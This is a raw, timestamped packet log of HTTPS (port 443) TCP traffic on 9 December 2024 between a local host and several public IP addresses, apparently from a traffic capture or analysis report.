Dec 9, 2024 18:42:36.594531059 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.260049105 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.260693073 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.260735989 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.260776997 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:37.260807037 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.260852098 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:37.261847019 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.261951923 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.261997938 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:37.276604891 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:37.276621103 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:37.291064978 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:37.291102886 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:37.291171074 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:37.291486979 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:37.291526079 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:37.291601896 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:37.291745901 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:37.291768074 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:37.291956902 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:37.291970968 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:37.294846058 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:37.294881105 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:37.294986010 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:37.295802116 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:37.295815945 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:37.295862913 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:37.298314095 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:37.298330069 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:37.298546076 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:37.298562050 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.507873058 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:38.508197069 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:38.508224010 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:38.508570910 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:38.508884907 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:38.508949995 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:38.509030104 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:38.511822939 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:38.512023926 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:38.512041092 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:38.512411118 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:38.512708902 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:38.512778044 CET	443	49790	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:38.551337004 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:38.563731909 CET	49790	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:38.708926916 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.709266901 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:38.709280968 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.709629059 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.710072041 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:38.710159063 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.710268021 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:38.710321903 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:38.710349083 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.711545944 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.711796999 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:38.711812973 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.712100983 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.712403059 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:38.712469101 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:38.755100965 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:38.952913046 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:38.952990055 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:38.953062057 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:38.953829050 CET	49788	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:38.953847885 CET	443	49788	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:39.304598093 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:39.304687977 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:39.304755926 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:39.305214882 CET	49787	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:39.305241108 CET	443	49787	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:39.307135105 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:39.347336054 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.554263115 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.554327965 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.554336071 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.554367065 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.554400921 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.554405928 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.554423094 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.554435015 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.554459095 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.554478884 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.597093105 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.597141027 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.597172976 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.597184896 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.597218990 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.641302109 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.641326904 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.641380072 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.641396999 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.641468048 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.683782101 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.709563017 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.709609032 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.709695101 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.709954023 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.709969997 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.760329962 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.760341883 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.760374069 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.760426998 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:40.760478020 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.760516882 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.760787964 CET	49789	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:40.760808945 CET	443	49789	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:42.099754095 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:42.100152016 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:42.100172997 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:42.101206064 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:42.101326942 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:42.106388092 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:42.106542110 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:42.106607914 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:42.149889946 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:42.149899006 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:42.197999001 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:43.744654894 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.744683981 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.744692087 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.744709015 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.744718075 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.744724035 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.744807005 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:43.744821072 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.790853977 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:43.961014032 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.961050987 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.961086035 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.961102009 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.961123943 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.961129904 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:43.961165905 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:43.961227894 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.000327110 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.000340939 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.000365019 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.000400066 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.000407934 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.000472069 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.000479937 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.000540018 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.113177061 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.113270998 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.113306999 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.113349915 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.113640070 CET	49791	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.113656998 CET	443	49791	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.138057947 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.138096094 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.138189077 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.138658047 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.138669968 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.156820059 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.156842947 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.156923056 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.158121109 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.158132076 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.159521103 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.159558058 CET	443	49795	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.159624100 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.159806013 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.159831047 CET	443	49796	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.159885883 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.159998894 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.160010099 CET	443	49795	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.160152912 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.160162926 CET	443	49796	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.256544113 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.256578922 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:44.256696939 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.256886005 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:44.256902933 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.529870033 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.530169010 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.530189037 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.530539989 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.530888081 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.530950069 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.531096935 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.536242962 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.536478043 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.536490917 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.536807060 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.537112951 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.537168026 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.537235975 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.546437025 CET	443	49796	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.546669960 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.546689987 CET	443	49796	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.547442913 CET	443	49795	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.547633886 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.547658920 CET	443	49795	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.547849894 CET	443	49796	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.547929049 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.548181057 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.548244953 CET	443	49796	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.548706055 CET	443	49795	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.548775911 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.549029112 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.549093008 CET	443	49795	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.575334072 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.583322048 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.592822075 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.592820883 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.592835903 CET	443	49796	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.592843056 CET	443	49795	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.639784098 CET	49795	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.639791965 CET	49796	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.649769068 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.650053978 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.650073051 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.650954008 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.651026964 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.651319027 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.651371956 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.651472092 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:45.651480913 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:45.703762054 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:46.724982023 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.725065947 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.725121021 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:46.725384951 CET	49793	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:46.725409985 CET	443	49793	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986733913 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986756086 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986763954 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986793995 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986804962 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986814976 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986913919 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:46.986941099 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:46.986953974 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.027875900 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.218489885 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.218499899 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.218534946 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.218628883 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.218642950 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.218662024 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.218696117 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.290815115 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.290838003 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.290967941 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.290983915 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.291034937 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.291363955 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.291384935 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.291399002 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.291460991 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.291486025 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.291536093 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.336251020 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.336272001 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.336371899 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.336400032 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.336448908 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.356556892 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.356641054 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.356673956 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.356694937 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.356980085 CET	49797	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.356997967 CET	443	49797	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.372896910 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.372941971 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.372998953 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.373024940 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.373071909 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448075056 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448124886 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.448194027 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448245049 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448282957 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.448334932 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448359966 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448402882 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.448460102 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448709965 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448723078 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.448892117 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.448905945 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.449116945 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.449129105 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.502526999 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.502605915 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.502616882 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.502641916 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.502674103 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.502692938 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.511519909 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.511595011 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.511600971 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.511620998 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:47.511666059 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.511801958 CET	49794	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:47.511814117 CET	443	49794	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.832283974 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.832724094 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.832743883 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.833121061 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.833303928 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.833316088 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.833914042 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.833992958 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.833997011 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.834367037 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.834436893 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.834453106 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.834479094 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.835000038 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.835072994 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.835093021 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.835155010 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.835309029 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.835319996 CET	443	49800	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.835391998 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.835398912 CET	443	49799	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.835541010 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.835602999 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.835854053 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.835922003 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.835932970 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.879340887 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.887789011 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.887795925 CET	49799	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.887813091 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:48.887821913 CET	49800	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:48.935813904 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.246876001 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.246898890 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.246906042 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.246937990 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.246944904 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.246949911 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.247006893 CET	49798	443	192.168.2.17	164.92.188.247
Dec 9, 2024 18:42:50.247030973 CET	443	49798	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:50.247041941 CET	49798	443	192.168.2.17	164.92.188.247
